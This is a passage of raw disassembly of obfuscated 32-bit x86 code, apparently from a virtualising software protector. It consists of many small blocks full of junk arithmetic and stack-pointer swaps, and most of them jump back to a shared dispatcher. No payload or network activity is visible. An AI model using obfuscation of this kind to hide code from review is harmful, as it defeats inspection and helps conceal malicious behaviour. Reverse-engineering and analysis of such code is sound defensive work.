loc_5C7EBF:				; CODE XREF: sub_5A55E5+2CC07j
		pop	esi
		jmp	loc_5CC774
; ---------------------------------------------------------------------------


loc_5C7EC5:				; CODE XREF: sub_5A55E5+25085j
		xor	[esp+0A4h+var_A4], ebx
		xor	ebx, [esp+0A4h+var_A4]
		mov	esp, [esp+0A4h+var_A4]
		pop	[esp+0A4h+var_A4]
		mov	esp, [esp+0A0h+var_A0]
		xor	[esp+0A0h+var_A0], eax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C7EDC:				; CODE XREF: sub_5A55E5+24E75j
		pop	esi
		sub	ebx, eax
		push	esi
		mov	esi, 56B072C3h
		sub	esi, 662F3138h
		jmp	loc_5D06F7
; ---------------------------------------------------------------------------


loc_5C7EF0:				; CODE XREF: sub_5A55E5+2AC5Ej
		mov	edi, [esp+0A0h+var_A0]
		add	esp, 4
		add	ecx, ebx
		jmp	loc_5CD148
; ---------------------------------------------------------------------------


loc_5C7EFD:				; CODE XREF: sub_5A55E5+2A1B6j
		mov	edi, 304A59E6h
		add	edi, 0ED25870h
		sub	edi, 0FFFFFFFFh
		push	ecx
		jmp	loc_5C1DF4
; ---------------------------------------------------------------------------


loc_5C7F11:				; CODE XREF: sub_5A55E5+2C887j
		mov	ecx, [esp+0A0h+var_A0]
		add	esp, 4
		jmp	loc_5CF234
; ---------------------------------------------------------------------------


loc_5C7F1F:				; CODE XREF: sub_5A55E5+1EC6Cj
		push	5FEh
		mov	[esp+82h+var_84+2], edx
		push	eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C7F2E:				; CODE XREF: sub_5A55E5+1A7F7j
		push	[esp+90h+var_90]
		jmp	loc_5CA4A8
; ---------------------------------------------------------------------------


loc_5C7F36:				; CODE XREF: sub_5A55E5+21556j
		mov	word ptr [esp+56h+var_58+2], dx
		mov	dh, 57h
		and	al, dh
		jmp	loc_5CC998
; ---------------------------------------------------------------------------


loc_5C7F43:				; CODE XREF: sub_5A55E5+2A688j
		not	ebp
		inc	ebp
		xor	ebp, 0BD86E369h
		jmp	loc_5BFD29
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+54h+var_54], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C7F61:				; CODE XREF: sub_5A55E5+1FBE7j
		push	eax
		mov	ah, cl
		mov	dl, ah
		pop	eax
		pop	ecx
		shr	dl, 7
		or	dl, 0Bh
		push	ebx
		mov	bh, al
		mov	al, dl
		mov	dl, bh
		mov	ebx, [esp+98h+var_98]
		add	esp, 4
		push	ecx
		mov	cl, al
		not	cl
		push	edx
		mov	dh, cl
		mov	al, dh
		jmp	loc_5C4FCE
; ---------------------------------------------------------------------------


loc_5C7F8A:				; CODE XREF: sub_5A55E5+2C533j
		xchg	ebx, [esp+9Ch+var_9C]
		mov	esp, [esp+9Ch+var_9C]
		and	[esp+9Ch+var_9C], eax
		pushf
		jmp	loc_5C1987
; ---------------------------------------------------------------------------


loc_5C7F99:				; CODE XREF: sub_5A55E5+282B6j
		xchg	ebx, [esp+0A0h+var_A0]
		pop	esp
		add	edi, 4
		xchg	edi, [esp+9Ch+var_9C]
		pop	esp
		pop	[esp+98h+var_98]
		jmp	loc_5C904A
; ---------------------------------------------------------------------------


loc_5C7FAF:				; CODE XREF: sub_5A55E5+1A94Dj
		neg	ecx
		push	ebp
		mov	ebp, 452A0B7Ah
		or	ecx, ebp
		pop	ebp
		sub	ecx, 0CDBEFB7Ah
		mov	esi, ecx
		pop	ecx
		add	eax, esi
		push	[esp+80h+var_80]
		pop	esi
		add	esp, 4
		push	edx
		jmp	loc_5D3C46
; ---------------------------------------------------------------------------


loc_5C7FD2:				; CODE XREF: sub_5A55E5+1B459j
		pop	edx
		push	edx
		mov	dl, 70h
		and	dl, 45h
		jmp	loc_5C4D5F
; ---------------------------------------------------------------------------


loc_5C7FDE:				; CODE XREF: sub_5A55E5+259B8j
		pop	edi
		add	esp, 4
		jmp	loc_5C2CEC
; ---------------------------------------------------------------------------


loc_5C7FE7:				; CODE XREF: sub_5A55E5+274F9j
		sub	ebx, 2
		xchg	ebx, [esp+90h+var_90]
		pop	esp
		mov	word ptr [esp+8Ch+var_8C], dx
		mov	dx, 72C7h
		mov	ax, dx
		mov	dx, word ptr [esp+8Ch+var_8C]
		add	esp, 2
		xchg	ax, bp
		not	bp
		xchg	ax, bp
		jmp	loc_5CB16D
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5D1C32
; ---------------------------------------------------------------------------


loc_5C8012:				; CODE XREF: sub_5A55E5+2A83Aj
		xor	dl, 9Eh
		add	bl, dl
		pop	edx
		mov	ax, word ptr [esp+84h+var_84]
		jmp	loc_5C8BE7
; ---------------------------------------------------------------------------


loc_5C8021:				; CODE XREF: sub_5A55E5+29B55j
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp+80h+var_80]
		xor	[esp+80h+var_80], ebp
		xor	ebp, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		jmp	loc_5CA145
; ---------------------------------------------------------------------------


loc_5C803E:				; CODE XREF: sub_5A55E5+2D14Fj
		mov	[esp+80h+var_80], ecx
		jmp	loc_5C17E1
; ---------------------------------------------------------------------------


loc_5C8046:				; CODE XREF: sub_5A55E5+24A66j
		add	esi, eax
		push	[esp+80h+var_80]
		pop	eax
		add	esp, 4
		jmp	loc_5C14A9
; ---------------------------------------------------------------------------


loc_5C8054:				; CODE XREF: sub_5A55E5+25FF9j
		xor	word ptr [esp+7Ch+var_7C], bp
		jmp	loc_5CC09C
; ---------------------------------------------------------------------------


loc_5C805D:				; CODE XREF: sub_5A55E5+22D94j
		dec	al
		and	al, 0CEh
		neg	al
		push	70A4h
		mov	[esp+80h+var_80], ecx
		mov	cl, 0A1h
		push	ax
		jmp	loc_5D37F1
; ---------------------------------------------------------------------------


loc_5C8074:				; CODE XREF: sub_5A55E5+1ECB2j
		pop	ebp
		pop	eax
		add	ebx, edx
		push	edx
		mov	edx, 0
		sub	edx, 131722B6h
		jmp	loc_5D3605
; ---------------------------------------------------------------------------


loc_5C8089:				; CODE XREF: sub_5A55E5+24AB9j
		push	eax
		push	edx
		push	ebx
		jmp	loc_5CFDD3
; ---------------------------------------------------------------------------


loc_5C8091:				; CODE XREF: sub_5A55E5+2E576j
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	[esp+0B6h+var_B4+2]
		pop	ebx
		pop	[esp+0B6h+var_B8+2]
		pop	esp
		mov	[esp+0AEh+var_B0+2], eax
		jmp	loc_5C648D
; ---------------------------------------------------------------------------


loc_5C80AC:				; CODE XREF: sub_5A55E5+27420j
		push	ebx
		sub	[esp+0B2h+var_B4+2], 2B6E2094h
		mov	ecx, [esp+0B2h+var_B4+2]
		add	esp, 4
		add	ecx, 2B6E2094h
		sub	esp, 4
		mov	[esp+0B2h+var_B4+2], edx
		push	2AFEh
		mov	[esp+0B6h+var_B8+2], ecx
		xor	[esp+0B6h+var_B8+2], 4BD15C32h
		pop	edx
		xor	edx, 4BD15C32h
		mov	eax, edx
		push	[esp+0B2h+var_B4+2]
		pop	edx
		push	20C1h
		jmp	loc_5CC844
; ---------------------------------------------------------------------------


loc_5C80EF:				; CODE XREF: sub_5A55E5+259E6j
		push	ebp
		jmp	loc_5C8F1D
; ---------------------------------------------------------------------------


loc_5C80F5:				; CODE XREF: sub_5A55E5+25BDBj
		neg	bl
		and	bl, 94h
		shl	bl, 3
		jmp	loc_5D34D7
; ---------------------------------------------------------------------------


loc_5C8102:				; CODE XREF: sub_5A55E5+1D8BFj
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_5CE89C
; ---------------------------------------------------------------------------


loc_5C810F:				; CODE XREF: sub_5A55E5+1D53Cj
		sub	cl, 1
		xor	cl, 77h
		jmp	loc_5CCC4E
; ---------------------------------------------------------------------------


loc_5C811A:				; CODE XREF: sub_5A55E5+25EA0j
		and	edi, 7B987400h
		sub	edi, 0C92CB844h
		jmp	loc_5D2219
; ---------------------------------------------------------------------------


loc_5C812B:				; CODE XREF: sub_5A55E5+29073j
		push	eax
		jmp	loc_5D2D28
; ---------------------------------------------------------------------------


loc_5C8131:				; CODE XREF: sub_5A55E5+257E7j
		mov	edi, 435B0D97h
		jmp	loc_5D0BFC
; ---------------------------------------------------------------------------


loc_5C813B:				; CODE XREF: sub_5A55E5+2D31Bj
		add	word ptr [esp+94h+var_94+2], 35D5h
		add	word ptr [esp+94h+var_94+2], cx
		push	small 1D11h
		mov	word ptr [esp+96h+var_98+2], si
		push	5F04h
		jmp	loc_5C776C
; ---------------------------------------------------------------------------


loc_5C8159:				; CODE XREF: sub_5A55E5+271FCj
		push	4B16h
		mov	[esp+9Eh+var_A0+2], ebp
		jmp	loc_5D3DA2
; ---------------------------------------------------------------------------


loc_5C8166:				; CODE XREF: sub_5A55E5+2BA30j
		push	[esp+9Eh+var_A0+2]
		pop	ebx
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp+0A2h+var_A4+2], ecx
		mov	ecx, 50503B26h
		shl	ecx, 2
		jmp	loc_5D2F02
; ---------------------------------------------------------------------------


loc_5C8184:				; CODE XREF: sub_5A55E5+2B40Fj
		mov	eax, [esp+0A2h+var_A4+2]
		jmp	loc_5CB816
; ---------------------------------------------------------------------------


loc_5C818C:				; CODE XREF: sub_5A55E5+23B68j
		sub	esp, 4
		mov	[esp+0A6h+var_A8+2], ebx
		push	4
		mov	ebx, [esp+0AAh+var_AC+2]
		jmp	loc_5C313C
; ---------------------------------------------------------------------------


loc_5C81A2:				; CODE XREF: sub_5A55E5+214E5j
		add	edx, 4
		xchg	edx, [esp+0A2h+var_A4+2]
		jmp	loc_5C5C34
; ---------------------------------------------------------------------------


loc_5C81AD:				; CODE XREF: sub_5A55E5+26908j
		push	ebp
		mov	ebp, 6EC26970h
		jmp	loc_5CD6D5
; ---------------------------------------------------------------------------


loc_5C81B8:				; CODE XREF: sub_5A55E5+210F5j
		and	al, 0EDh
		shl	al, 2
		add	al, 40h
		sub	bl, 45h
		add	bl, al
		add	bl, 45h
		pop	ax
		jmp	loc_5C85F9
; ---------------------------------------------------------------------------


loc_5C81CE:				; CODE XREF: sub_5A55E5+276D5j
		neg	ecx
		dec	ecx
		xor	ecx, 0FCE27E82h
		add	ebp, ecx
		pop	ecx
		push	ebx
		push	ebp
		mov	ebp, 376A1526h
		jmp	loc_5C0FF2
; ---------------------------------------------------------------------------


loc_5C81E6:				; CODE XREF: sub_5A55E5+1F2E6j
		add	esp, 4
		add	ecx, ebp
		push	16DCh
		mov	[esp+96h+var_98+2], edx
		mov	edx, 2093529Ch
		and	edx, 4C816396h
		neg	edx
		push	7ACEh
		mov	[esp+9Ah+var_9C+2], esi
		mov	esi, 8376761h
		not	esi
		push	esi
		not	[esp+9Eh+var_A0+2]
		pop	esi
		jmp	loc_5BFCFA
; ---------------------------------------------------------------------------


loc_5C8219:				; CODE XREF: sub_5A55E5+20656j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C821E:				; CODE XREF: sub_5A55E5+21AF7j
		xchg	ebp, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		dec	word ptr [esp+88h+var_88]
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C822E:				; CODE XREF: sub_5A55E5+21C79j
		pop	esp
		mov	[esp+80h+var_80], ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5C7971
; ---------------------------------------------------------------------------


loc_5C8243:				; CODE XREF: sub_5A55E5+22D9Ej
		add	eax, 4
		sub	eax, 4
		jmp	loc_5D0B18
; ---------------------------------------------------------------------------


loc_5C8250:				; CODE XREF: sub_5A55E5+1B818j
		add	edx, 57A85F82h
		pop	eax
		add	eax, 4A4D0569h
		sub	eax, edx
		sub	eax, 4A4D0569h
		mov	edx, [esp+0A8h+var_A8]
		add	esp, 4
		not	eax
		xor	eax, 0EF9B8498h
		mov	ebp, eax
		mov	eax, [esp+0A4h+var_A4]
		push	eax
		jmp	loc_5CAA85
; ---------------------------------------------------------------------------


loc_5C827E:				; CODE XREF: sub_5A55E5+2CC8Bj
		pop	edx
		push	edx
		mov	edx, 48481F60h
		sub	edx, 1BE65CBh
		add	edx, 0B976466Fh
		add	edi, edx
		pop	edx
		jmp	loc_5C7E5D
; ---------------------------------------------------------------------------


loc_5C8299:				; CODE XREF: sub_5A55E5+21C0Aj
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_5C8807
; ---------------------------------------------------------------------------


loc_5C82A7:				; CODE XREF: sub_5A55E5+2BC35j
		shr	esi, 7
		dec	esi
		not	esi
		push	ecx
		mov	ecx, 7C650539h
		push	eax
		mov	eax, 5F2B6B9Eh
		sub	eax, 3D83523Ch
		dec	eax
		shl	eax, 1
		neg	eax
		add	eax, 54286ED3h
		add	ecx, eax
		pop	eax
		sub	esi, ecx
		jmp	loc_5CF670
; ---------------------------------------------------------------------------


loc_5C82D2:				; CODE XREF: sub_5A55E5+1DF14j
		mov	eax, 6DF978DDh
		xor	eax, esi
		pop	esi
		jmp	loc_5C532E
; ---------------------------------------------------------------------------


loc_5C82DF:				; CODE XREF: sub_5A55E5+29ED2j
		mov	ecx, 7F4E6DBBh
		not	ecx
		neg	ecx
		and	ecx, 1CBF5571h
		and	ecx, 9F0E04h
		shl	ecx, 7
		xor	ecx, 7020002h
		jmp	loc_5D3CC4
; ---------------------------------------------------------------------------


loc_5C8302:				; CODE XREF: sub_5A55E5+27709j
		pop	ebx
		jmp	loc_5C7677
; ---------------------------------------------------------------------------


loc_5C8308:				; CODE XREF: sub_5A55E5+1C935j
		sub	eax, 4B6E2E5Bh
		sub	eax, 3E3B2321h
		jmp	loc_5CA98E
; ---------------------------------------------------------------------------


loc_5C8317:				; CODE XREF: sub_5A55E5+1D600j
		add	eax, 4
		push	ecx
		jmp	loc_5D00AC
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C8329:				; CODE XREF: sub_5A55E5+1AF15j
		not	esi
		inc	esi
		push	ecx
		mov	ecx, 662F6911h
		add	ecx, 0F0C9CF7Fh
		sub	esi, ecx
		pop	ecx
		jmp	loc_5C7C10
; ---------------------------------------------------------------------------


loc_5C8340:				; CODE XREF: sub_5A55E5+20C1Bj
		mov	ebp, edx
		mov	ecx, ebp
		jmp	loc_5BF97E
; ---------------------------------------------------------------------------


loc_5C8349:				; CODE XREF: sub_5A55E5+1E909j
		push	5AC0E481h
		jmp	loc_5D01C1
; ---------------------------------------------------------------------------


loc_5C8353:				; CODE XREF: sub_5A55E5+214B8j
		and	edx, 737F002Ch
		add	edx, 71E6B2BFh
		xor	ebx, edx
		pop	edx
		add	esi, ebx
		mov	ebx, [esp+0A6h+var_A8+2]
		jmp	loc_5C3628
; ---------------------------------------------------------------------------


loc_5C836C:				; CODE XREF: sub_5A55E5+1E181j
		add	edx, 14E1C378h
		jmp	loc_5CF3CE
; ---------------------------------------------------------------------------


loc_5C8377:				; CODE XREF: sub_5A55E5+2AE07j
		mov	al, 0EFh
		jmp	loc_5C805D
; ---------------------------------------------------------------------------


loc_5C837E:				; CODE XREF: sub_5A55E5+2C346j
		mov	[esp+0C0h+var_C0], eax
		mov	eax, esp
		jmp	loc_5C8243
; ---------------------------------------------------------------------------


loc_5C8388:				; CODE XREF: sub_5A55E5+20B6Cj
		sub	eax, 8E7098B8h
		or	edi, eax
		pop	eax
		jmp	loc_5C6718
; ---------------------------------------------------------------------------


loc_5C8395:				; CODE XREF: sub_5A55E5+293C4j
		sub	edi, 779E6008h
		xor	edi, 5C7D13FDh
		push	1C17h
		mov	[esp+8Ch+var_8C], ebp
		mov	ebp, edi
		push	ebp
		mov	edx, [esp+90h+var_90]
		add	esp, 4
		pop	ebp
		pop	edi
		not	edx
		jmp	loc_5C9398
; ---------------------------------------------------------------------------


loc_5C83BB:				; CODE XREF: sub_5A55E5+266BCj
		mov	ebp, 52DE3377h
		shr	ebp, 8
		xor	ebp, 4FEFFC8Ah
		jmp	loc_5D1AEF
; ---------------------------------------------------------------------------


loc_5C83CE:				; CODE XREF: sub_5A55E5+20F80j
		add	ebp, edi
		pop	edi
		inc	ebp
		inc	ebp
		neg	ebp
		sub	ebp, 0FD7BF658h
		add	esi, ebp
		mov	ebp, [esp+5Ch+var_5C]
		add	esp, 4
		push	edx
		mov	edx, 0C2D363Eh
		push	edi
		mov	edi, 5EE4057Eh
		or	edx, edi
		jmp	loc_5C8B5F
; ---------------------------------------------------------------------------


loc_5C83F9:				; CODE XREF: sub_5A55E5+20FB7j
		mov	[esp+0ACh+var_AC], edx
		push	ecx
		push	65931745h
		pop	ecx
		neg	ecx
		dec	ecx
		neg	ecx
		add	ecx, 0E57944FDh
		mov	edx, ecx
		pop	ecx
		or	edx, 553E28D5h
		dec	edx
		sub	edx, 5F3E7CD4h
		jmp	loc_5CF9A5
; ---------------------------------------------------------------------------


loc_5C8423:				; CODE XREF: sub_5A55E5+20CE9j
		xchg	eax, [esp+0B2h+var_B4+2]
		pop	esp
		mov	[esp+0AEh+var_B0+2], ebx
		mov	ebx, 3A7223A4h
		sub	ebx, 52EB049Dh
		jmp	loc_5C4CFD
; ---------------------------------------------------------------------------


loc_5C843A:				; CODE XREF: sub_5A55E5+23516j
		add	[esp+0AEh+var_B0+2], 4
		push	[esp+0AEh+var_B0+2]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		push	6DC8h
		jmp	loc_5CEF02
; ---------------------------------------------------------------------------


loc_5C845B:				; CODE XREF: sub_5A55E5+2CF95j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5CF688
; ---------------------------------------------------------------------------


loc_5C846C:				; CODE XREF: sub_5A55E5+2D6D4j
		pop	edx
		push	esi
		mov	esi, 2
		jmp	loc_5D1D27
; ---------------------------------------------------------------------------


loc_5C8478:				; CODE XREF: sub_5A55E5+1DD43j
		push	ebx
		push	edx
		mov	edx, 1A330C1Bh
		push	eax
		mov	eax, edx
		jmp	loc_5CC3A3
; ---------------------------------------------------------------------------


loc_5C8487:				; CODE XREF: sub_5A55E5+1A9EBj
		add	esp, 4
		dec	ecx
		push	edx
		push	eax
		jmp	loc_5D06E1
; ---------------------------------------------------------------------------


loc_5C8492:				; CODE XREF: sub_5A55E5+28E0Cj
		push	47E1h
		mov	[esp+8Ch+var_8C], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5C6B96
; ---------------------------------------------------------------------------


loc_5C84A6:				; CODE XREF: sub_5A55E5+1B36Bj
		shr	ecx, 0
		jmp	loc_5C8512
; ---------------------------------------------------------------------------


loc_5C84AE:				; CODE XREF: sub_5A55E5+279E5j
		pop	edi
		add	esp, 4
		pop	ebx
		push	ebx
		not	[esp+7Ch+var_7C]
		mov	ebx, [esp+7Ch+var_7C]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		xchg	ebx, edi
		xchg	edi, [esp+80h+var_80]
		push	[esp+80h+var_80]
		push	[esp+84h+var_84]
		pop	eax
		push	405Ch
		jmp	loc_5CBAA7
; ---------------------------------------------------------------------------


loc_5C84E2:				; CODE XREF: sub_5A55E5+24DA6j
		push	0C81h
		mov	[esp+8Ch+var_8C], ecx
		mov	ecx, 3B70BE6h
		or	ecx, 24274A19h
		shr	ecx, 4
		inc	ecx
		jmp	loc_5CC8D5
; ---------------------------------------------------------------------------


loc_5C84FE:				; CODE XREF: sub_5A55E5+20B9Fj
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_5CCC74
; ---------------------------------------------------------------------------


loc_5C8512:				; CODE XREF: sub_5A55E5+22EC4j
		or	eax, eax
		jz	loc_5CB3C9
		push	0A5Ch
		mov	[esp+88h+var_88], ebx
		push	[esp+88h+var_88]
		jmp	loc_5C3272
; ---------------------------------------------------------------------------


loc_5C852A:				; CODE XREF: sub_5A55E5+28707j
		push	[esp+8Ch+var_8C]
		pop	ebp
		add	esp, 4
		xor	ecx, [esp+88h+var_88]
		xor	[esp+88h+var_88], ecx
		xor	ecx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		add	esp, 4
		movzx	ecx, ax
		sub	esp, 4
		mov	[esp+88h+var_88], eax
		push	esp
		pop	eax
		jmp	loc_5C23D5
; ---------------------------------------------------------------------------


loc_5C8556:				; CODE XREF: sub_5A55E5+1BD6Dj
		sub	ebx, 10EE728Ah
		push	[esp+0C0h+var_C0]
		pop	ebp
		add	esp, 4
		xor	ebx, [esp+0BCh+var_BC]
		xor	[esp+0BCh+var_BC], ebx
		xor	ebx, [esp+0BCh+var_BC]
		mov	esp, [esp+0BCh+var_BC]
		or	edx, eax
		jmp	loc_5C047C
; ---------------------------------------------------------------------------


loc_5C8579:				; CODE XREF: sub_5A55E5+1C555j
		sub	esi, 0F1423363h
		sub	ebp, esi
		jmp	loc_5D23DC
; ---------------------------------------------------------------------------


loc_5C8586:				; CODE XREF: sub_5A55E5+2BF44j
		mov	ebx, [esp+0AAh+var_AC+2]
		add	esp, 4
		sub	al, 3Eh
		jmp	loc_5BFC73
; ---------------------------------------------------------------------------


loc_5C8593:				; CODE XREF: sub_5A55E5+220A4j
		mov	ebx, [esp+8Ah+var_8C+2]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 59EC7ECDh
		shl	edi, 5
		jmp	loc_5CF9C3
; ---------------------------------------------------------------------------


loc_5C85AB:				; CODE XREF: sub_5A55E5+23760j
		mov	eax, [esp+8Eh+var_90+2]
		jmp	loc_5CA792
; ---------------------------------------------------------------------------


loc_5C85B3:				; CODE XREF: sub_5A55E5+2CBCCj
		push	ebx
		jmp	loc_5D2E8B
; ---------------------------------------------------------------------------


loc_5C85B9:				; CODE XREF: sub_5A55E5+248E7j
		pop	[esp+92h+var_94+2]
		push	ebp
		jmp	loc_5D29B0
; ---------------------------------------------------------------------------


loc_5C85C2:				; CODE XREF: sub_5A55E5+1C316j
		xor	eax, 6A4E6393h
		xor	eax, 1D7402A7h
		add	esi, eax
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_5C30B5
; ---------------------------------------------------------------------------


loc_5C85D7:				; CODE XREF: sub_5A55E5+2902Ej
		pop	edx
		mov	ecx, edi
		pop	edi
		or	ecx, 60251D6Fh
		neg	ecx
		push	esi
		jmp	loc_5BFFA7
; ---------------------------------------------------------------------------


loc_5C85E9:				; CODE XREF: sub_5A55E5+221F4j
		add	eax, esi
		add	eax, 20EE1FAEh
		push	[esp+9Ah+var_9C+2]
		pop	esi
		jmp	loc_5C768E
; ---------------------------------------------------------------------------


loc_5C85F9:				; CODE XREF: sub_5A55E5+22BE4j
		add	al, 1Fh
		push	ecx
		mov	cl, 0CFh
		sub	al, cl
		pop	ecx
		sub	al, 2Dh
		sub	al, bl
		push	edx
		mov	dh, 0Ch
		jmp	loc_5C6138
; ---------------------------------------------------------------------------


loc_5C860D:				; CODE XREF: sub_5A55E5+265A9j
		pop	esp
		and	ebx, ecx
		mov	ecx, [esp+0A2h+var_A4+2]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_5D0E1E
		push	2162h
		mov	[esp+0A2h+var_A4+2], edx
		push	eax
		push	ecx
		jmp	loc_5C01E0
; ---------------------------------------------------------------------------


loc_5C8630:				; CODE XREF: sub_5A55E5+2C19Bj
		add	eax, 47DF4134h
		and	ebx, eax
		jmp	loc_5CEB3F
; ---------------------------------------------------------------------------


loc_5C863C:				; CODE XREF: sub_5A55E5+28FC8j
		mov	ecx, 24390ED3h
		push	edx
		sub	esp, 4
		mov	[esp+0B2h+var_B4+2], ecx
		mov	ecx, 1F144379h
		mov	edx, ecx
		pop	ecx
		or	edx, 727596Ch
		jmp	loc_5D1F80
; ---------------------------------------------------------------------------


loc_5C865B:				; CODE XREF: sub_5A55E5+20AE5j
		xchg	ecx, [esp+9Eh+var_A0+2]
		pop	esp
		mov	[esp+9Ah+var_9C+2], ebp
		push	eax
		mov	eax, 796836DCh
		shr	eax, 7
		push	ebp
		jmp	loc_5CE10F
; ---------------------------------------------------------------------------


loc_5C8671:				; CODE XREF: sub_5A55E5+2E10Fj
		pop	edx
		xor	bl, al
		push	2C60h
		mov	[esp+0A2h+var_A4+2], ecx
		push	edx
		mov	dl, al
		mov	ch, dl
		pop	edx
		push	eax
		jmp	loc_5C76D0
; ---------------------------------------------------------------------------


loc_5C8688:				; CODE XREF: sub_5A55E5+2E744j
		mov	edi, [esp+0A6h+var_A8+2]
		add	esp, 4
		pop	edi
		jmp	loc_5C937D
; ---------------------------------------------------------------------------


loc_5C8694:				; CODE XREF: sub_5A55E5+1E385j
		push	esi
		jmp	loc_5CFC16
; ---------------------------------------------------------------------------


loc_5C869A:				; CODE XREF: sub_5A55E5+2630Aj
		mov	ebx, [esp+0B6h+var_B8+2]
		jmp	loc_5CDBB8
; ---------------------------------------------------------------------------


loc_5C86A2:				; CODE XREF: sub_5A55E5+2230Dj
		add	ebx, edx
		pop	edx
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5C32E9
; ---------------------------------------------------------------------------


loc_5C86AD:				; CODE XREF: sub_5A55E5+25BA7j
		pop	eax
		jmp	loc_5C4ECE
; ---------------------------------------------------------------------------


loc_5C86B3:				; CODE XREF: sub_5A55E5+21684j
		push	eax
		mov	eax, 0A89167Eh
		xor	ebp, eax
		mov	eax, [esp+0A6h+var_A8+2]
		jmp	loc_5CA207
; ---------------------------------------------------------------------------


loc_5C86C3:				; CODE XREF: sub_5A55E5+29137j
		mov	[esp+0A6h+var_A8+2], edx
		jmp	loc_5D30EA
; ---------------------------------------------------------------------------


loc_5C86CB:				; CODE XREF: sub_5A55E5+2553Ej
		push	eax
		jmp	loc_5CB29E
; ---------------------------------------------------------------------------


loc_5C86D1:				; CODE XREF: sub_5A55E5+2E918j
		pop	[esp+0AAh+var_AC+2]
		pop	esp
		jmp	loc_5C965C
; ---------------------------------------------------------------------------


loc_5C86DA:				; CODE XREF: sub_5A55E5+2E20Ej
		xor	cl, al
		pop	ax
		or	al, cl
		jmp	loc_5C77F5
; ---------------------------------------------------------------------------


loc_5C86E5:				; CODE XREF: sub_5A55E5+20984j
		push	ebx
		mov	ebx, 23D5463Eh
		push	edx
		mov	edx, 52772C19h
		or	ebx, edx
		pop	edx
		jmp	loc_5C37B3
; ---------------------------------------------------------------------------


loc_5C86F9:				; CODE XREF: sub_5A55E5+1F2C3j
		mov	eax, [esp+62h+var_64+2]
		jmp	loc_5D0B37
; ---------------------------------------------------------------------------


loc_5C8701:				; CODE XREF: sub_5A55E5+1E2EFj
		sub	bl, 0E1h
		sub	bl, ch
		add	bl, 0E1h
		jmp	loc_5BFEEC
; ---------------------------------------------------------------------------


loc_5C870E:				; CODE XREF: sub_5A55E5+1E897j
		push	[esp+9Ah+var_9C+2]
		mov	edx, [esp+9Eh+var_A0+2]
		jmp	loc_5CFC02
; ---------------------------------------------------------------------------


loc_5C8719:				; CODE XREF: sub_5A55E5+2AA77j
		add	edi, 28BD89F8h
		sub	edx, 0FAE67A0h
		sub	edx, edi
		add	edx, 0FAE67A0h
		pop	edi
		jmp	loc_5C9A6A
; ---------------------------------------------------------------------------


loc_5C8733:				; CODE XREF: sub_5A55E5+1CC78j
		mov	esp, [esp+64h+var_64]
		push	116Ah
		jmp	loc_5CB2D9
; ---------------------------------------------------------------------------


loc_5C8740:				; CODE XREF: sub_5A55E5+2B4B8j
		add	eax, ebx
		sub	eax, 730C0907h
		mov	ebx, [esp+68h+var_68]
		jmp	loc_5C18F5
; ---------------------------------------------------------------------------


loc_5C874F:				; CODE XREF: sub_5A55E5+20C0Cj
		dec	edx
		shr	edx, 8
		and	edx, 50081BC7h
		sub	edx, 8D5DB489h
		xor	edi, edx
		pop	edx
		add	edi, 14035C92h
		push	ebx
		jmp	loc_5C541D
; ---------------------------------------------------------------------------


loc_5C876E:				; CODE XREF: sub_5A55E5+2BE41j
		pop	edi
		add	esp, 4
		pop	[esp+36h+var_36]
		pop	esp
		mov	[esp+2Eh+var_2E], esi
		mov	esi, esp
		jmp	loc_5D3B58
; ---------------------------------------------------------------------------


loc_5C8783:				; CODE XREF: sub_5A55E5+27FBEj
		mov	[esp+2Eh+var_2E], edi
		mov	edi, 151C7CF5h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5C785C
; ---------------------------------------------------------------------------


loc_5C879B:				; CODE XREF: sub_5A55E5+1FC6Bj
		push	ecx
		mov	ecx, 69BF3627h
		push	esi
		push	eax
		mov	eax, 2E7328D8h
		mov	esi, eax
		pop	eax
		neg	esi
		sub	esp, 4
		mov	[esp+54h+var_54], ecx
		mov	ecx, 0A074A8B7h
		jmp	loc_5CF0E4
; ---------------------------------------------------------------------------


loc_5C87C0:				; CODE XREF: sub_5A55E5+25581j
		push	esi
		mov	esi, 51E02BFEh
		mov	ecx, esi
		pop	esi
		push	ecx
		not	[esp+58h+var_58]
		pop	ecx
		push	ebx
		mov	ebx, 2B762252h
		xor	ecx, ebx
		jmp	loc_5CB54F
; ---------------------------------------------------------------------------


loc_5C87DB:				; CODE XREF: sub_5A55E5+200B3j
		or	esi, 6F987E46h
		jmp	loc_5C03B9
; ---------------------------------------------------------------------------


loc_5C87E6:				; CODE XREF: sub_5A55E5+2A0F7j
		neg	ebx
		jmp	loc_5C4839
; ---------------------------------------------------------------------------


